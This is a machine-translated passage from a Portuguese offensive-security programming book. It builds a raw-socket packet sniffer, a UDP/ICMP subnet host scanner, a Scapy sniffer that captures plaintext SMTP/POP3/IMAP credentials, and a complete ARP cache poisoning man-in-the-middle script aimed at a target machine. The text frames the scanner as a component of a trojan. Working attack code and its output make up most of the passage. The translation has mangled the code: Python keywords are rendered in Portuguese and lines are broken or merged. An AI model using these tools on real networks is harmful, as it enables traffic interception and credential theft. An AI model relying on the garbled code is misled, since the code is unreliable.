aqueles não destinados ao seu host específico. Em seguida, definimos uma opção de soquete ÿ que inclui os
cabeçalhos IP em nossos pacotes capturados. A próxima etapa ÿ é determinar se estamos usando o Windows e,
em caso afirmativo, executamos a etapa adicional de enviar um IOCTL para o driver da placa de rede para habilitar
o modo promíscuo. Se você estiver executando o Windows em uma máquina virtual, provavelmente receberá uma
notificação de que o sistema operacional convidado está habilitando o modo promíscuo; você, é claro, permitirá.
Agora estamos prontos para realizar algum sniffing e, neste caso, estamos simplesmente imprimindo todo o pacote
bruto ÿ sem decodificação de pacote. Isso é apenas para testar se temos o núcleo do nosso código de detecção
funcionando. Depois que um único pacote é detectado, testamos novamente o Windows e desabilitamos o modo
promíscuo ÿ antes de sair do script.
Machine Translated by Google
Chutando os pneus Abra um

novo terminal ou shell cmd.exe no Windows e execute o seguinte:

python sniffer.py

Em outro terminal ou janela de shell, você pode simplesmente escolher um host para fazer ping. Aqui, faremos
ping nostarch.com:

ping nostarch.com

Na primeira janela em que você executou o sniffer, você deve ver uma saída distorcida que se parece muito com a seguinte:

('E\x00\x00:\x0f\x98\x00\x00\x80\x11\xa9\x0e\xc0\xa8\x00\xbb\xc0\xa8\x0 0\x01\x04\x01\x005\x00&\
xd6d\n\xde\x01\x00\x00\x01\x00\x00\x00\x00\x00\ x00\x08nostarch\x03com\x00\x00\x01\x00\x01',
('192.168.0.187', 0) )

Você pode ver que capturamos a solicitação de ping ICMP inicial destinada a nostarch.com (com base na aparência da string
nostarch.com). Se você estiver executando este exemplo no Linux, receberá a resposta de nostarch.com. Detectar um pacote
não é muito útil, então vamos adicionar algumas funcionalidades para processar mais pacotes e decodificar seu conteúdo.
Machine Translated by Google
Decodificando a camada IP Em
sua forma atual, nosso sniffer recebe todos os cabeçalhos IP junto com quaisquer protocolos superiores,
como TCP, UDP ou ICMP. As informações são compactadas em formato binário e, como mostrado
acima, são bastante difíceis de entender. Agora vamos trabalhar na decodificação da parte IP de um
pacote para que possamos extrair informações úteis, como o tipo de protocolo (TCP, UDP, ICMP) e os
endereços IP de origem e destino. Esta será a base para você começar a criar mais análises de protocolo
posteriormente.

Se examinarmos a aparência de um pacote real na rede, você entenderá como precisamos decodificar os pacotes recebidos.
Consulte a Figura 3-1 para a composição de um cabeçalho IP.

Figura 3-1. Estrutura típica do cabeçalho IPv4

Decodificaremos todo o cabeçalho IP (exceto o campo Opções) e extrairemos o tipo de protocolo, origem e endereço IP de
destino. Usar o módulo Python ctypes para criar uma estrutura semelhante a C nos permitirá ter um formato amigável para lidar
com o cabeçalho IP e seus campos de membros. Primeiro, vamos dar uma olhada na definição em C da aparência de um
cabeçalho IP.

struct ip { u_char
ip_hl:4; u_char ip_v:4;
u_char ip_tos; u_short
ip_len; u_short ip_id;
u_short ip_off; u_char
ip_ttl; u_char ip_p;
u_short ip_sum; u_long
ip_src; u_long ip_dst;

Agora você tem uma ideia de como mapear os tipos de dados C para os valores do cabeçalho IP. Usar o código C como
referência ao traduzir para objetos Python pode ser útil porque torna fácil convertê-los em Python puro. É importante observar
que os campos ip_hl e ip_v têm uma notação de bit adicionada a eles (a parte :4 ). Isso indica que esses são campos de bits
e têm 4 bits de largura. Usaremos uma solução Python pura para garantir que esses campos sejam mapeados corretamente
para que possamos evitar qualquer manipulação de bits.
Vamos implementar nossa rotina de decodificação de IP em snif er_ip_header_decode.py conforme mostrado abaixo.

soquete de importação
Machine Translated by Google
import os
import struct from
ctypes import * # host para
escutar
host = "192.168.0.187"

# nosso cabeçalho IP
ÿ class IP(Structure): _fields_ =
[ ("ihl", c_ubyte, 4),
("version", c_ubyte, 4), ("tos", c_ubyte),
("len", c_ushort), ("id", c_ushort), ("offset",
c_ushort), ("ttl",
c_ubyte), ("protocol_num", c_ushort),
c_ubyte), ("sum",
("src",
c_ulong), (" dst", c_ulong)

def __new__(auto, socket_buffer=Nenhum):


return self.from_buffer_copy(socket_buffer)

def __init__(self, socket_buffer=Nenhum):

# mapear constantes de protocolo para seus nomes


self.protocol_map = {1:"ICMP", 6:"TCP", 17:"UDP"}

ÿ # endereços IP legíveis por humanos


self.src_address = socket.inet_ntoa(struct.pack("<L",self.src)) self.dst_address =
socket.inet_ntoa(struct.pack("<L",self.dst))

# protocolo legível por humanos


experimentar:

self.protocol = self.protocol_map[self.protocol_num]
exceto:
self.protocol = str(self.protocol_num)

# isso deve parecer familiar do exemplo anterior if os.name == "nt":

socket_protocol = socket.IPPROTO_IP senão:

socket_protocol = socket.IPPROTO_ICMP

sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_protocol)

sniffer.bind((host, 0))
sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)

if os.name == "nt":
sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON) tente:

enquanto verdadeiro:

# lê em um pacote
ÿ raw_buffer = sniffer.recvfrom(65565)[0]

# cria um cabeçalho IP a partir dos primeiros 20 bytes do buffer ip_header =


ÿ IP(raw_buffer[0:20])

# imprime o protocolo que foi detectado e os hosts imprimem "Protocolo: %s %s ->


ÿ %s" % (ip_header.protocol, ip_header.src_ address, ip_header.dst_address)

# lidar com CTRL-C


exceto KeyboardInterrupt:
Machine Translated by Google
# se estivermos usando o Windows, desative o modo promíscuo if
os.name == "nt":
sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF)

O primeiro passo é definir uma estrutura Python ctypes ÿ que mapeará os primeiros 20 bytes do buffer recebido
em um cabeçalho IP amigável. Como você pode ver, todos os campos que identificamos e a estrutura C anterior
correspondem perfeitamente. O método __new__ da classe IP simplesmente pega um buffer bruto (neste caso,
o que recebemos na rede) e forma a estrutura a partir dele. Quando o método __init__ é chamado, __new__ já
terminou o processamento do buffer. Dentro do __init__, estamos simplesmente fazendo algumas tarefas
domésticas para fornecer uma saída legível por humanos para o protocolo em uso e os endereços IP ÿ.

Com nossa estrutura de IP recém -criada, agora colocamos a lógica para ler continuamente os pacotes e
analisar suas informações. O primeiro passo é ler o pacote ÿ e depois passar os primeiros 20 bytes ÿ para
inicializar nossa estrutura IP . Em seguida, simplesmente imprimimos as informações que capturamos ÿ. Vamos
experimentar.
Machine Translated by Google
Chutando os pneus
Vamos testar nosso código anterior para ver que tipo de informação estamos extraindo dos pacotes
brutos que estão sendo enviados. Definitivamente, recomendo que você faça esse teste em sua máquina
Windows, pois poderá ver TCP, UDP e ICMP, o que permite que você faça alguns testes bem legais (abra
um navegador, por exemplo). Se você estiver confinado ao Linux, execute o teste de ping anterior para vê-
lo em ação.

Abra um terminal e digite:

python sniffer_ip_header_decode.py

Agora, como o Windows é bastante tagarela, é provável que você veja a saída imediatamente. Testei esse script abrindo
o Internet Explorer e acessando www.google.com, e aqui está a saída do nosso script:
Protocolo: UDP 192.168.0.190 -> 192.168.0.1
Protocolo: UDP 192.168.0.1 -> 192.168.0.190
Protocolo: UDP 192.168.0.190 -> 192.168.0.187
Protocolo: TCP 192.168.0.187 -> 74.125.225.183
Protocolo: TCP 192.168.0.187 -> 74.125.225.183
Protocolo: TCP 74.125.225.183 -> 192.168.0.187
Protocolo: TCP 192.168.0.187 -> 74.125.225.183

Como não estamos fazendo nenhuma inspeção profunda nesses pacotes, podemos apenas adivinhar o que esse fluxo
está indicando. Meu palpite é que os primeiros pacotes UDP são as consultas DNS para determinar onde o google.com
está, e as sessões TCP subsequentes são minha máquina realmente conectando e baixando conteúdo de seu servidor
da web.

Para realizar o mesmo teste no Linux, podemos executar ping em google.com e os resultados serão mais ou menos
assim:

Protocolo: ICMP 74.125.226.78 -> 192.168.0.190


Protocolo: ICMP 74.125.226.78 -> 192.168.0.190
Protocolo: ICMP 74.125.226.78 -> 192.168.0.190

Você já pode ver a limitação: estamos vendo apenas a resposta e apenas para o protocolo ICMP.
Mas como estamos construindo propositalmente um scanner de descoberta de host, isso é totalmente aceitável. Agora
aplicaremos as mesmas técnicas que usamos para decodificar o cabeçalho IP para decodificar as mensagens ICMP.
Machine Translated by Google
Decodificando o ICMP

Agora que podemos decodificar completamente a camada IP de qualquer pacote sniffado, temos que ser capazes de
decodificar as respostas ICMP que nosso scanner obterá ao enviar datagramas UDP para portas fechadas. As
mensagens ICMP podem variar muito em seu conteúdo, mas cada mensagem contém três elementos que permanecem
consistentes: os campos de tipo, código e soma de verificação. Os campos de tipo e código informam ao host receptor
qual tipo de mensagem ICMP está chegando, o que determina como decodificá-la adequadamente.

Para o objetivo do nosso scanner, estamos procurando um valor de tipo de 3 e um valor de código de 3. Isso
corresponde à classe Destination Unreachable de mensagens ICMP, e o valor de código de 3 indica que o erro Port
Unreachable foi causado. Consulte a Figura 3-2 para obter um diagrama de uma mensagem ICMP de destino
inacessível .

Figura 3-2. Diagrama da mensagem ICMP de destino inacessível

Como você pode ver, os primeiros 8 bits são o tipo e os segundos 8 bits contêm nosso código ICMP. Uma
coisa interessante a observar é que, quando um host envia uma dessas mensagens ICMP, ele inclui o cabeçalho IP da
mensagem de origem que gerou a resposta. Também podemos ver que verificaremos 8 bytes do datagrama original que
foi enviado para garantir que nosso scanner gerou a resposta ICMP. Para fazer isso, simplesmente cortamos os últimos
8 bytes do buffer recebido para extrair a string mágica que nosso scanner envia.

Vamos adicionar mais algum código ao nosso sniffer anterior para incluir a capacidade de decodificar pacotes ICMP.
Vamos salvar nosso arquivo anterior como snif er_with_icmp.py e adicionar o seguinte código:
--snip --
class IP(Estrutura): --snip--

ÿ classe ICMP(Estrutura):

_fields_ = [ ("type",
c_ubyte), ("code", c_ubyte),
("checksum", c_ushort), ("unused",
c_ushort),
("next_hop_mtu", c_ushort)]

def __new__(self, socket_buffer): return


self.from_buffer_copy(socket_buffer)

def __init__(self, socket_buffer):


passar

--recorte

print "Protocolo: %s %s -> %s" % (ip_header.protocol, ip_header.src_ address, ip_header.dst_address)


Machine#Translated by Google
se for ICMP, queremos ÿ if
ip_header.protocol == "ICMP":

# calcula onde nosso pacote ICMP começa offset = ip_header.ihl


ÿ * 4 buf = raw_buffer[offset:offset + sizeof(ICMP)]

# crie nossa estrutura ICMP


ÿ icmp_header = ICMP(buf)

print "ICMP -> Tipo: %d Código: %d" % (icmp_header.type, icmp_header. code)

Este simples trecho de código cria uma estrutura ICMP ÿ sob nossa estrutura IP existente . Quando o loop principal de recebimento de
pacotes determina que recebemos um pacote ICMP ÿ, calculamos o deslocamento no pacote bruto onde o corpo ICMP reside ÿ e
então criamos nosso buffer ÿ e imprimimos os campos de tipo e código . O cálculo do comprimento é baseado no campo ihl do
cabeçalho IP , que indica o número de palavras de 32 bits (blocos de 4 bytes) contidas no cabeçalho IP. Assim, multiplicando este
campo por 4, sabemos o tamanho do cabeçalho IP e, portanto, quando a próxima camada de rede — ICMP neste caso — começa.

Se executarmos rapidamente esse código com nosso teste de ping típico, nossa saída agora deve ser um pouco diferente, conforme
mostrado abaixo:

Protocolo: ICMP 74.125.226.78 -> 192.168.0.190


ICMP -> Tipo: 0 Código: 0

Isso indica que as respostas de ping (ICMP Echo) estão sendo recebidas e decodificadas corretamente. Agora estamos prontos para
implementar o último bit de lógica para enviar os datagramas UDP e interpretar seus resultados.

Agora vamos adicionar o uso do módulo netaddr para que possamos cobrir uma sub-rede inteira com nossa verificação de

descoberta de host. Salve seu script snif er_with_icmp.py como scanner.py e adicione o seguinte código:

import threading import


time from netaddr import
IPNetwork,IPAddress --snip--

# host para ouvir


host = "192.168.0.187"

# sub-rede para a sub-


rede de destino = "192.168.0.0/24"

# magic string vamos verificar as respostas ICMP para ÿ magic_message


= "PYTHONRULES!"

# isso espalha os datagramas UDP ÿ def


udp_sender(subnet,magic_message): time.sleep(5) sender =
socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

para ip em IPNetwork(sub-rede):
experimentar:

sender.sendto(magic_message,("%s" % ip,65212))
exceto:
passar

--recorte--

# começa a enviar pacotes


ÿ t = threading.Thread(target=udp_sender,args=(subnet,magic_message))
t.start()
Machine Translated by Google
--snip-- try:
while True:

--snip--
#print "ICMP -> Tipo: %d Código: %d" % (icmp_header.type, icmp_header. code)

# agora verifique o TIPO 3 e CÓDIGO se icmp_header.code


== 3 e icmp_header.type == 3:

# verifique se o host está em nossa sub-rede de destino se


ÿ IPAddress(ip_header.src_address) in IPNetwork(subnet):

# verifique se ele tem nossa mensagem mágica if


ÿ raw_buffer[len(raw_buffer)-len(magic_message):] == magic_message: print "Host Up:
%s" % ip_header.src_address

Este último pedaço de código deve ser bastante simples de entender. Definimos uma assinatura de string
simples ÿ para que possamos testar se as respostas vêm de pacotes UDP que enviamos originalmente.
Nossa função udp_sender ÿ simplesmente pega uma sub-rede que especificamos no início de nosso script,
itera por todos os endereços IP dessa sub-rede e dispara datagramas UDP nelas. No corpo principal do nosso
script, logo antes do loop de decodificação do pacote principal, geramos udp_sender em um thread separado ÿ
para garantir que não estamos interferindo em nossa capacidade de detectar respostas. Se detectarmos a
mensagem ICMP antecipada, primeiro verificamos se a resposta ICMP está vindo de nossa sub-rede de destino
ÿ. Em seguida, realizamos nossa verificação final para garantir que a resposta ICMP contenha nossa string mágica
ÿ. Se todas essas verificações forem aprovadas, imprimiremos o endereço IP de origem de onde a mensagem
ICMP foi originada. Vamos experimentar.
Machine Translated by Google
Chutando os pneus Agora
vamos pegar nosso scanner e executá-lo na rede local. Você pode usar Linux ou Windows para isso, pois os
resultados serão os mesmos. No meu caso, o endereço IP da máquina local em que eu estava era
192.168.0.187, então configurei meu scanner para atingir 192.168.0.0/24. Se a saída for muito ruidosa quando
você executar seu scanner, simplesmente comente todas as instruções de impressão, exceto a última que informa
quais hosts estão respondendo.

O N ETA DDRM OD U LE

Nosso scanner usará uma biblioteca de terceiros chamada netaddr, que nos permitirá alimentar uma máscara de sub-rede como 192.168.0.0/24 e fazer com que
nosso scanner a lide adequadamente. Baixe a biblioteca aqui: http:// code.google.com/ p/ netaddr/ downloads/ list

Ou, se você instalou o pacote de ferramentas de configuração do Python no Capítulo 1, pode simplesmente executar o seguinte em um prompt de comando:

easy_install netaddr

O módulo netaddr torna muito fácil trabalhar com sub-redes e endereçamento. Por exemplo, você pode executar testes simples como o seguinte usando
o objeto IPNetwork :

endereço_ip = "192.168.112.3"

se ip_address em IPNetwork("192.168.112.0/24"): imprimir True

Ou você pode criar iteradores simples se quiser enviar pacotes para uma rede inteira:

para ip em IPNetwork("192.168.112.1/24"):
s = socket.socket()
s.connect((ip, 25)) # envia
pacotes de correio

Isso simplificará muito sua vida de programação ao lidar com redes inteiras de uma só vez e é ideal para nossa ferramenta de descoberta de host. Depois
de instalado, você está pronto para prosseguir.

c:\Python27\python.exe scanner.py Host Up:


192.168.0.1 Host Up: 192.168.0.190 Host Up:
192.168.0.192 Host Up: 192.168.0.195

Para uma varredura rápida como a que realizei, levou apenas alguns segundos para obter os resultados de volta.
Ao cruzar esses endereços IP com a tabela DHCP em meu roteador doméstico, pude verificar se os resultados
eram precisos. Você pode expandir facilmente o que aprendeu neste capítulo para decodificar pacotes TCP e
UDP e criar ferramentas adicionais em torno disso. Esse scanner também é útil para a estrutura de trojan que
começaremos a construir no Capítulo 7. Isso permitiria que um trojan implantado verificasse a rede local em busca
de alvos adicionais. Agora que temos o básico de como as redes funcionam em um nível alto e baixo, vamos
explorar uma biblioteca Python muito madura chamada Scapy.

[7] Um controle de entrada/ saída (IOCTL) é um meio para programas de espaço de usuário se comunicarem com componentes do modo kernel. Leia aqui: http://
en.wikipedia.org/ wiki/ Ioctl.
Machine Translated by Google
Capítulo 4. Possuir a rede com Scapy
Ocasionalmente, você se depara com uma biblioteca Python tão bem pensada e incrível que dedicar um capítulo
inteiro a ela não pode fazer justiça. Philippe Biondi criou essa biblioteca na biblioteca de manipulação de pacotes
Scapy. Você pode terminar este capítulo e perceber que eu fiz você fazer muito trabalho nos dois capítulos anteriores
que você poderia ter feito com apenas uma ou duas linhas de Scapy. Scapy é poderoso e flexível, e as possibilidades
são quase infinitas. Vamos experimentar as coisas farejando para roubar credenciais de e-mail de texto simples e, em
seguida, envenenando ARP uma máquina de destino em nossa rede para que possamos farejar seu tráfego. Vamos
encerrar demonstrando como o processamento PCAP do Scapy pode ser estendido para extrair imagens do tráfego
HTTP e, em seguida, executar a detecção facial nelas para determinar se há seres humanos presentes nas imagens.

Eu recomendo que você use o Scapy em um sistema Linux, pois ele foi projetado para funcionar com o Linux em mente.
A versão mais recente do Scapy oferece suporte ao Windows, [8] mas, para o propósito deste capítulo, assumirei
que você está usando sua VM Kali que possui uma instalação do Scapy totalmente funcional. Se você não tiver o
Scapy, acesse http:// www.secdev.org/ projects/ scapy/ para instalá-lo.
Machine Translated by Google
Roubando credenciais de e-mail Você já
gastou algum tempo entrando nos detalhes do sniffing em Python. Então vamos conhecer a interface do
Scapy para farejar pacotes e dissecar seu conteúdo. Vamos construir um sniffer muito simples para capturar
as credenciais SMTP, POP3 e IMAP. Mais tarde, acoplando nosso sniffer com nosso ataque de
envenenamento por protocolo de resolução de endereço (ARP) man-in-the-middle (MITM), podemos
facilmente roubar credenciais de outras máquinas na rede. Essa técnica pode, obviamente, ser aplicada a
qualquer protocolo ou simplesmente sugar todo o tráfego e armazená-lo em um arquivo PCAP para análise,
o que também demonstraremos.

Para ter uma ideia do Scapy, vamos começar construindo um esqueleto sniffer que simplesmente disseca e despeja
os pacotes. A função sniff apropriadamente nomeada se parece com o seguinte:
sniff(filter="",iface="qualquer",prn=função,contagem=N)

O parâmetro de filtro nos permite especificar um filtro BPF (estilo Wireshark) para os pacotes que o Scapy detecta, que
pode ser deixado em branco para detectar todos os pacotes. Por exemplo, para farejar todos os pacotes HTTP, você
usaria um filtro BPF da porta tcp 80. O parâmetro iface informa ao farejador qual interface de rede deve farejar; se
deixado em branco, o Scapy farejará todas as interfaces. O parâmetro prn especifica uma função de retorno de chamada
a ser chamada para cada pacote que corresponda ao filtro, e a função de retorno de chamada recebe o objeto de pacote
como seu único parâmetro. O parâmetro count especifica quantos pacotes você deseja farejar; se deixado em branco, o
Scapy farejará indefinidamente.

Vamos começar criando um farejador simples que fareja um pacote e despeja seu conteúdo. Em seguida, vamos expandi-
lo para detectar apenas comandos relacionados a e-mail. Abra mail_snif er.py e bloqueie o seguinte código:
de scapy.all importar *

# nosso callback de pacote ÿ def


packet_callback(packet): print packet.show()

# ativa nosso sniffer ÿ


sniff(prn=packet_callback,count=1)

Começamos definindo nossa função de retorno de chamada que receberá cada pacote sniffado ÿ e simplesmente
informamos ao Scapy para iniciar o sniffing ÿ em todas as interfaces sem filtragem. Agora vamos executar o script e você
deve ver uma saída semelhante à que você vê abaixo.

$ python2.7 mail_sniffer.py AVISO:


Nenhuma rota encontrada para o destino IPv6 :: (nenhuma rota padrão?)
###[Ethernet]###
DST = 10:40:f3:ab:71:02
origem = 00:18:e7:ff:5c:f8
tipo = 0x800
###[ IP ]### versão
= 4L
ihl = 5L
eles = 0x0
só = 52
Eu iria = 35232
= DF
= 0L
bandeiras frag ttl
= 51
proto = tcp =
chksum 0x4a51
origem = 195.91.239.8
DST = 192.168.0.198
\opções\
###[TCP]###
Machine Translated
esportes by=Google
etlservicemgr
esportivos = 54000
seq = 4154787032
ack = 2619128538
dataofs = 8L
reservado = 0L
janela =A
de bandeiras = 330
chksum = 0x80a2
urgptr =0
options = [('NOP', Nenhum), ('NOP', Nenhum), ('Timestamp', (1960913461,
764897985))]
Nenhum

Quão incrivelmente fácil foi isso! Podemos ver que, quando o primeiro pacote foi recebido na rede, nossa função de retorno de chamada
usou a função interna packet.show() para exibir o conteúdo do pacote e dissecar algumas das informações do protocolo. Usar show () é
uma ótima maneira de depurar scripts à medida que você avança para garantir que está capturando a saída desejada.

Agora que temos nosso sniffer básico em execução, vamos aplicar um filtro e adicionar um pouco de lógica à nossa função de retorno
de chamada para remover as strings de autenticação relacionadas a e-mail.

de scapy.all importar *

# nosso callback de pacote def


packet_callback(packet):

ÿ se pacote[TCP].payload:

mail_packet = str(pacote[TCP].payload)

ÿ se "user" em mail_packet.lower() ou "pass" em mail_packet.lower():

print "[*] Server: %s" % packet[IP].dst print "[*] %s" %


ÿ packet[TCP].payload

# ativa nosso sniffer ÿ


sniff(filter="tcp port 110 or tcp port 25 or tcp port 143",prn=packet_ callback,store=0)

Coisas bastante simples aqui. Mudamos nossa função sniff para adicionar um filtro que inclui apenas o tráfego destinado às portas de e-
mail comuns 110 (POP3), 143 (IMAP) e SMTP (25) ÿ. Também usamos um novo parâmetro chamado store, que quando definido como 0
garante que o Scapy não está mantendo os pacotes na memória. É uma boa ideia usar esse parâmetro se você pretende deixar um sniffer
de longo prazo em execução, pois assim não consumirá grandes quantidades de RAM. Quando nossa função de retorno de chamada é
chamada, verificamos se ela possui uma carga de dados ÿ e se a carga contém os comandos de correio USER ou PASS típicos ÿ. Se
detectarmos uma string de autenticação, imprimimos o servidor para o qual estamos enviando e os bytes de dados reais do pacote ÿ.
Machine Translated by Google
Chutando os pneus
Aqui está um exemplo de saída de uma conta de e-mail fictícia à qual tentei conectar meu cliente de e-mail:
[*] Servidor: 25.57.168.12 [*] USER
jms [*] Servidor: 25.57.168.12 [*]
PASS justin [*] Servidor: 25.57.168.12
[*] USER jms [*] Servidor: 25.57.168.12

[*] Teste de passagem

Você pode ver que meu cliente de e-mail está tentando fazer login no servidor em 25.57.168.12 e enviando as credenciais
de texto sem formatação pela rede. Este é um exemplo muito simples de como você pode pegar um script de detecção
Scapy e transformá-lo em uma ferramenta útil durante os testes de penetração.

Cheirar seu próprio tráfego pode ser divertido, mas é sempre melhor farejar com um amigo, então vamos dar uma olhada
em como você pode executar um ataque de envenenamento ARP para farejar o tráfego de uma máquina alvo na mesma
rede.
Machine Translated by Google
Envenenamento de cache ARP com Scapy O
envenenamento de ARP é um dos truques mais antigos e eficazes no kit de ferramentas de um hacker.
Simplesmente, convenceremos uma máquina-alvo de que nos tornamos seu gateway e também
convenceremos o gateway de que, para alcançar a máquina-alvo, todo o tráfego deve passar por nós. Cada
computador em uma rede mantém um cache ARP que armazena os endereços MAC mais recentes que
correspondem aos endereços IP na rede local, e vamos envenenar esse cache com entradas que controlamos
para realizar esse ataque. Como o Address Resolution Protocol e o envenenamento de ARP em geral são
abordados em vários outros materiais, deixarei que você faça qualquer pesquisa necessária para entender
como esse ataque funciona em um nível inferior.

Agora que sabemos o que precisamos fazer, vamos colocar em prática. Quando testei isso, ataquei uma máquina
Windows real e usei minha VM Kali como minha máquina de ataque. Também testei esse código em vários
dispositivos móveis conectados a um ponto de acesso sem fio e funcionou muito bem. A primeira coisa que faremos
é verificar o cache ARP na máquina Windows de destino para que possamos ver nosso ataque em ação mais
tarde. Examine o seguinte para ver como inspecionar o cache ARP em sua VM do Windows.
C:\Users\Clare> ipconfig

Configuração de IP do Windows

Adaptador LAN sem fio Conexão de rede sem fio:

Sufixo DNS específico da conexão. : gateway.space.com :


Endereço IPv6 de link local . . . . . fe80::34a0:48cd:579:a3d9%11
Endereço IPv4. . . . . . . . . . . : 172.16.1.71
Máscara de sub-rede. . . . . . . . . . . : 255.255.255.0
ÿ Gateway padrão. . . . . . . . . : 172.16.1.254

C:\Users\Clare> arp -a

Interface: 172.16.1.71 --- 0xb

Endereço de internet Endereço físico Tipo


ÿ 172.16.1.254 3c-ea-4f-2b-41-f9 dinâmico
172.16.1.255 ff-ff-ff-ff-ff-ff estático
224.0.0.22 01-00-5e-00-00-16 estático
224.0.0.251 01-00-5e-00-00-fb estático
224.0.0.252 01-00-5e-00-00-fc estático
255.255.255.255 ff-ff-ff-ff-ff-ff estático

Portanto, agora podemos ver que o endereço IP do gateway ÿ está em 172.16.1.254 e sua entrada de cache ARP
associada ÿ tem um endereço MAC de 3c-ea-4f-2b-41-f9. Tomaremos nota disso porque podemos visualizar o
cache ARP enquanto o ataque está em andamento e ver que alteramos o endereço MAC registrado do gateway.
Agora que conhecemos o gateway e nosso endereço IP de destino, vamos começar a codificar nosso script de
envenenamento ARP. Abra um novo arquivo Python, chame-o de arper.py e digite o seguinte código:
from scapy.all import * import os
import sys import threading import
signal

interface = "en1"
target_ip = "172.16.1.71"
gateway_ip = "172.16.1.254" packet_count
= 1000

# define nossa interface


conf.iface = interface
Machine Translated by Google
# desliga a saída
conf.verb = 0

print "[*] Configurando %s" % interface

ÿ gateway_mac = get_mac(gateway_ip)

se gateway_mac for None: print


"[!!!] Falha ao obter gateway MAC. Saindo." sys.exit(0) senão:

print "[*] Gateway %s está em %s" % (gateway_ip,gateway_mac)

ÿ target_mac = get_mac(target_ip)

se target_mac for None: print


"[!!!] Falha ao obter o MAC de destino. Saindo." sys.exit(0) senão:

print "[*] Alvo %s está em %s" % (target_ip,target_mac)

# iniciar thread venenoso ÿ


poison_thread = threading.Thread(target = poison_target, args = (gateway_ip,
gateway_mac,target_ip,target_mac)) poison_thread.start()

try:
print "[*] Iniciando sniffer para %d pacotes" % packet_count

bpf_filter = "ip host %s" % target_ip


ÿ packages = sniff(count=packet_count,filter=bpf_filter,iface=interface) # grava os pacotes capturados

ÿ wrpcap('arper.pcap',pacotes)

# restaura a rede
ÿ restore_target(gateway_ip,gateway_mac,target_ip,target_mac)

except KeyboardInterrupt: # restaurar


a rede
restore_target(gateway_ip,gateway_mac,target_ip,target_mac) sys.exit(0)

Esta é a parte principal da configuração do nosso ataque. Começamos resolvendo os endereços MAC
correspondentes do gateway ÿ e IP de destino ÿ usando uma função chamada get_mac que analisaremos em bre
Depois de termos feito isso, criamos um segundo thread para iniciar o ataque real de envenenamento
ARP ÿ. Em nossa thread principal, iniciamos um sniffer ÿ que irá capturar uma quantidade predefinida de
pacotes usando um filtro BPF para capturar apenas o tráfego para nosso endereço IP de destino. Quando
todos os pacotes forem capturados, nós os gravamos ÿ em um arquivo PCAP para que possamos abri-los no
Wireshark ou usar nosso próximo script de escultura de imagem contra eles. Terminado o ataque, chamamos
nossa função restore_target ÿ, que é responsável por colocar a rede de volta ao que era antes do
envenenamento ARP. Vamos adicionar as funções de suporte agora digitando o seguinte código acima do
nosso bloco de código anterior:
def restore_target(gateway_ip,gateway_mac,target_ip,target_mac):

# método ligeiramente diferente usando send print "[*]


Restaurando destino..." ÿ send(ARP(op=2,
psrc=gateway_ip, pdst=target_ip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=gateway_mac),count=5)
send(ARP(op=2, psrc=target_ip, pdst=gateway_ip,
hwdst="ff:ff:ff:ff:ff:ff",hwsrc=target_mac),count=5)

# sinaliza a thread principal para sair


Machine Translated
ÿ os.kill(os.getpid(), by Google
sinal.SIGINT)

def get_mac(ip_address):

ÿ respostas,sem resposta =
srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip_address), timeout=2,nova tentativa=10)

# retorna o endereço MAC de uma resposta para s,r em


respostas: return r[Ether].src

retornar nenhum
def poison_target(gateway_ip,gateway_mac,target_ip,target_mac):

ÿ poison_target = ARP() poison_target.op =


2 poison_target.psrc = gateway_ip
poison_target.pdst = target_ip poison_target.hwdst=
target_mac

ÿ poison_gateway = ARP() poison_gateway.op


= 2 poison_gateway.psrc = target_ip
poison_gateway.pdst = gateway_ip
poison_gateway.hwdst= gateway_mac

print "[*] Começando o veneno ARP. [CTRL-C para parar]"

ÿ while True: tente:

send(poison_target)
send(poison_gateway)

tempo.sono(2)
exceto KeyboardInterrupt:
restore_target(gateway_ip,gateway_mac,target_ip,target_mac)

print "[*] Ataque de veneno ARP finalizado."


Retorna

Portanto, esta é a carne e as batatas do ataque real. Nossa função restore_target simplesmente envia os pacotes ARP apropriados para o
endereço de transmissão da rede ÿ para redefinir os caches ARP do gateway e das máquinas de destino. Também enviamos um sinal para
o thread principal ÿ sair, o que será útil caso nosso thread de envenenamento tenha um problema ou você pressione CTRL-C no teclado.
Nossa função get_mac é responsável por usar a função srp (enviar e receber pacotes) ÿ para emitir uma solicitação ARP para o endereço IP
especificado para resolver o endereço MAC associado a ela. Nossa função poison_target cria solicitações ARP para envenenar o IP de destino
ÿ e o gateway ÿ. Ao envenenar o gateway e o endereço IP de destino, podemos ver o tráfego entrando e saindo do destino. Continuamos
emitindo essas solicitações ARP ÿ em um loop para garantir que as respectivas entradas de cache ARP permaneçam envenenadas durante
nosso ataque.

Vamos levar esse bad boy para dar uma volta!


Machine Translated by Google
Chutando os pneus Antes
de começarmos, precisamos primeiro informar nossa máquina host local que podemos encaminhar
pacotes para o gateway e o endereço IP de destino. Se você estiver em sua VM Kali, insira o seguinte
comando em seu terminal:

#:> echo 1 > /proc/sys/net/ipv4/ip_forward

Se você é um fanboy da Apple, use o seguinte comando:


fanboy:tmp justin$ sudo sysctl -w net.inet.ip.forwarding=1

Agora que temos o encaminhamento de IP instalado, vamos iniciar nosso script e verificar o cache ARP de
nossa máquina de destino. Na máquina de ataque, execute o seguinte (como root):
fanboy:tmp justin$ sudo python2.7 arper.py AVISO: Nenhuma
rota encontrada para o destino IPv6 :: (nenhuma rota padrão?)
[*] Configurando en1 [*]
Gateway 172.16.1.254 está em 3c:ea:4f:2b:41:f9 [*] Alvo 172.16.1.71
está em 00:22:5f:ec:38:3d [*] Início o veneno ARP. [CTRL-C para parar]

[*] Iniciando sniffer para 1000 pacotes

Incrível! Sem erros ou outras estranhezas. Agora vamos validar o ataque em nossa máquina alvo:
C:\Users\Clare> arp -a

Interface: 172.16.1.71 --- 0xb


Endereço de internet Endereço físico Tipo
172.16.1.64 10-40-f3-ab-71-02 dinâmico
